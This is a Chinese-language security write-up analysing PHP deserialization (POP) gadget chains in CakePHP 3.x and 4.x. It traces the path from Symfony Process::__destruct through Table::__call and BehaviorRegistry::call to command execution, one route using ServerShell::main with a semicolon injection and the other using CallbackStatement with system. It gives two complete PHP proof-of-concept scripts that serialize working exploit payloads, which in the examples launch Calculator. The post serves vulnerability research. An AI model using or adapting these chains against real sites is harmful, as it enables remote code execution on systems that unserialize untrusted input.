Contents

CakePHP 3.x/4.x 反序列化分析

最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。

3.x ≤ 3.9.6

入口位于vendor\symfony\process\Process.php的__destruct方法

https://leonsec.gitee.io/images/image-20210823101606527.png

在一些老版本中,__destruct方法是这样的:

https://leonsec.gitee.io/images/image-20210823101704399.png

跟进stop方法:

https://leonsec.gitee.io/images/image-20210823101833956.png

跟进isRunning方法:

https://leonsec.gitee.io/images/image-20210823101959314.png

$this->status可控,可以继续进入updateStatus方法,让其等于"started"即可

https://leonsec.gitee.io/images/image-20210823102144499.png

继续跟进readPipes方法:

https://leonsec.gitee.io/images/image-20210823102659251.png

发现$this->processPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法

全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法:

https://leonsec.gitee.io/images/image-20210823103117156.png

这里的$this->_behaviors也可控,到这里我们就可以调用任意类的call方法了

继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法:

https://leonsec.gitee.io/images/image-20210823103648550.png

这里就可以调用任意类的任意方法了,但是参数不可控

再来看看进入call_user_func_array的条件:

这里的$method就是之前触发__callreadAndWrite方法

跟进hasMethod方法,$this->_methodMap可控,所以可以使其返回true

https://leonsec.gitee.io/images/image-20210823105804358.png

再来看看has方法,是在父类ObjectRegistry中定义的,$this->_loaded也可控

https://leonsec.gitee.io/images/image-20210823105929303.png

所以条件成立,可以利用回调函数调用任意方法

接下来找到不需要参数的合适方法:

位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法

https://leonsec.gitee.io/images/image-20210823110330550.png

执行的命令由可控参数$this->_host、$this->_port等拼接而成,我们可以利用分号进行命令注入

但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用

在执行命令之前,还得先让两个$this->out方法正常返回,否则会报错退出

一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php

https://leonsec.gitee.io/images/image-20210823110904289.png

这里的$level为1,我们只需要让$this->_level小于1即可使其返回true

到这里就可以执行系统命令了

https://leonsec.gitee.io/images/image-20210823111912330-9688767.png

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName($class){}
    protected function _throwMissingClassError($class, $plugin){}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Console;
class Shell
{
    public $_io;
}

class ConsoleIo
{
    public $_level;
}

namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{
    public $_host;
    protected $_port = 0;
    protected $_documentRoot = "";
    protected $_iniPath = "";
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
$a = new \Cake\Shell\ServerShell();
$a->_io = new \Cake\Console\ConsoleIo();
$a->_io->_level = 0;
$a->_host = ";open /System/Applications/Calculator.app;";
$pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];

echo base64_encode(serialize($pop));

3.x某些版本、4.x ≤ 4.2.3

4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动

4.x版本ServerShell类修改了,没有之前一样好用的方法了

寻找新的调用链:

vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

https://leonsec.gitee.io/images/image-20210823112014622.png

这里有动态调用,方法名可控,参数$row通过$this->_statement->fetch($type)获得

于是寻找可用的fetch方法

vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法:

https://leonsec.gitee.io/images/image-20210823112316478.png

这里$this->buffer、$this->index、$this->_allFetched参数均可控,可以返回我们指定的$row

于是可以达成任意方法执行,直接指定system执行系统命令

https://leonsec.gitee.io/images/image-20210823112736657.png

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName(string $class): ?string{
        return $class;
    }
    protected function _throwMissingClassError(string $class, ?string $plugin): void{}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Database\Statement;
class StatementDecorator {
    public $_statement;
}

class CallbackStatement extends StatementDecorator
{
    public $_callback;
}

class BufferedStatement
{
    public $_allFetched;
    public $buffer = [];
    protected $index = 0;
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
$a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
$a->_callback = "system";
$a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
$a->_statement->_allFetched = true;
$a->_statement->buffer = ["open /System/Applications/Calculator.app"];
$pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];

echo base64_encode(serialize($pop));